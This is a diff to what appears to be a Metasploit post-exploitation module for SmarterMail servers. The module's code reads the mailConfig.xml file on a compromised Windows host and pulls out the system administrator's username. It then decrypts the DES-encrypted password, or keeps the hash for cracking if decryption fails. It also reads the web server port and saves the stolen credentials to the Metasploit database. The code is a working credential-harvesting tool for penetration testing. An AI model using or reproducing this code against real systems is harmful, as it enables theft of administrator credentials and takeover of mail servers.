@@ -66,15 +66,47 @@ def decrypt_des(encrypted)
66
66
decipher . update ( encrypted ) + decipher . final
67
67
end
68
68
69
+
70
+ def get_bound_port ( data )
71
+ port = nil
72
+
73
+ begin
74
+ port = JSON . parse ( data ) [ 'BoundPort' ]
75
+ rescue JSON ::ParserError => e
76
+ elog ( "#{ e . class } - Unable to parse BoundPort (#{ e . message } ) #{ e . backtrace * "\n " } " )
77
+ return nil
78
+ end
79
+
80
+ port
81
+ end
82
+
83
+
84
+ def get_remote_drive
85
+ @drive ||= expand_path ( '%SystemDrive%' ) . strip
86
+ end
87
+
88
+
89
+ def get_web_server_port
90
+ [ 'Program Files (x86)' , 'Program Files' ] . each do |program_dir |
91
+ path = %Q|#{ get_remote_drive } \\ #{ program_dir } \\ SmarterTools\\ SmarterMail\\ Web Server\\ Settings.json| . strip
92
+ if file? ( path )
93
+ data = read_file ( path )
94
+ return get_bound_port ( data )
95
+ end
96
+ end
97
+
98
+ return nil
99
+ end
100
+
101
+
69
102
#
70
103
# Find SmarterMail 'mailConfig.xml' config file
71
104
#
72
105
def get_mail_config_path
73
106
found_path = ''
74
- drive = expand_path ( '%SystemDrive%' ) . strip
75
107
76
108
[ 'Program Files (x86)' , 'Program Files' ] . each do |program_dir |
77
- path = %Q|#{ drive } \\ #{ program_dir } \\ SmarterTools\\ SmarterMail\\ Service\\ mailConfig.xml| . strip
109
+ path = %Q|#{ get_remote_drive } \\ #{ program_dir } \\ SmarterTools\\ SmarterMail\\ Service\\ mailConfig.xml| . strip
78
110
vprint_status "#{ peer } - Checking for SmarterMail config file: #{ path } "
79
111
if file? ( path )
80
112
found_path = path
@@ -106,12 +138,56 @@ def get_smartermail_creds(path)
106
138
end
107
139
108
140
username = data . match ( /<sysAdminUserName>(.+)<\/ sysAdminUserName>/ )
109
- password = data . match ( /<sysAdminPassword>(.+)<\/ sysAdminPassword>/ )
110
- result [ 'username' ] = username [ 1 ] unless username . nil?
111
- result [ 'password' ] = decrypt_des ( Rex ::Text . decode_base64 ( password [ 1 ] ) ) unless password . nil?
141
+ password = data . scan ( /<(sysAdminPassword|sysAdminPasswordHash)>(.+)<\/ (sysAdminPassword|sysAdminPasswordHash)>/ ) . flatten [ 1 ]
142
+
143
+ result [ :username ] = username [ 1 ] unless username . nil?
144
+
145
+ if password
146
+ begin
147
+ result [ :password ] = decrypt_des ( Rex ::Text . decode_base64 ( password ) )
148
+ result [ :private_type ] = :password
149
+ rescue OpenSSL ::Cipher ::CipherError
150
+ result [ :password ] = password
151
+ result [ :private_type ] = :nonreplayable_hash
152
+ result [ :jtr_format ] = 'des'
153
+ end
154
+ end
155
+
112
156
result
113
157
end
114
158
159
+ def report_cred ( opts )
160
+ service_data = {
161
+ address : opts [ :ip ] ,
162
+ port : opts [ :port ] ,
163
+ service_name : opts [ :service_name ] ,
164
+ protocol : 'tcp' ,
165
+ workspace_id : myworkspace_id
166
+ }
167
+
168
+ credential_data = {
169
+ post_reference_name : self . refname ,
170
+ session_id : session_db_id ,
171
+ origin_type : :session ,
172
+ private_data : opts [ :password ] ,
173
+ private_type : opts [ :private_type ] ,
174
+ username : opts [ :user ]
175
+ }
176
+
177
+ if opts [ :private_type ] == :nonreplayable_hash
178
+ credential_data . merge! ( jtr_format : opts [ :jtr_format ] )
179
+ end
180
+
181
+ credential_data . merge! ( service_data )
182
+
183
+ login_data = {
184
+ core : create_credential ( credential_data ) ,
185
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
186
+ } . merge ( service_data )
187
+
188
+ create_credential_login ( login_data )
189
+ end
190
+
115
191
#
116
192
# Find the config file, extract the encrypted password and decrypt it
117
193
#
@@ -125,21 +201,27 @@ def run
125
201
126
202
# retrieve username and decrypted password from config file
127
203
result = get_smartermail_creds ( config_path )
128
- if result [ ' password' ] . nil?
204
+ if result [ : password] . nil?
129
205
print_error "#{ peer } - Could not decrypt password string"
130
206
return
131
207
end
132
208
133
209
# report result
134
- user = result [ 'username' ]
135
- pass = result [ 'password' ]
210
+ port = get_web_server_port || 9998 # Default is 9998
211
+ user = result [ :username ]
212
+ pass = result [ :password ]
213
+ type = result [ :private_type ]
214
+ format = result [ :jtr_format ]
136
215
print_good "#{ peer } - Found Username: '#{ user } ' Password: '#{ pass } '"
137
- report_auth_info (
138
- :host => r_host ,
139
- :sname => 'http' ,
140
- :user => user ,
141
- :pass => pass ,
142
- :source_id => session . db_record ? session . db_record . id : nil ,
143
- :source_type => 'vuln' )
216
+
217
+ report_cred (
218
+ ip : r_host ,
219
+ port : port ,
220
+ service_name : 'http' ,
221
+ user : user ,
222
+ password : pass ,
223
+ private_type : type ,
224
+ jtr_format : format
225
+ )
144
226
end
145
227
end
0 commit comments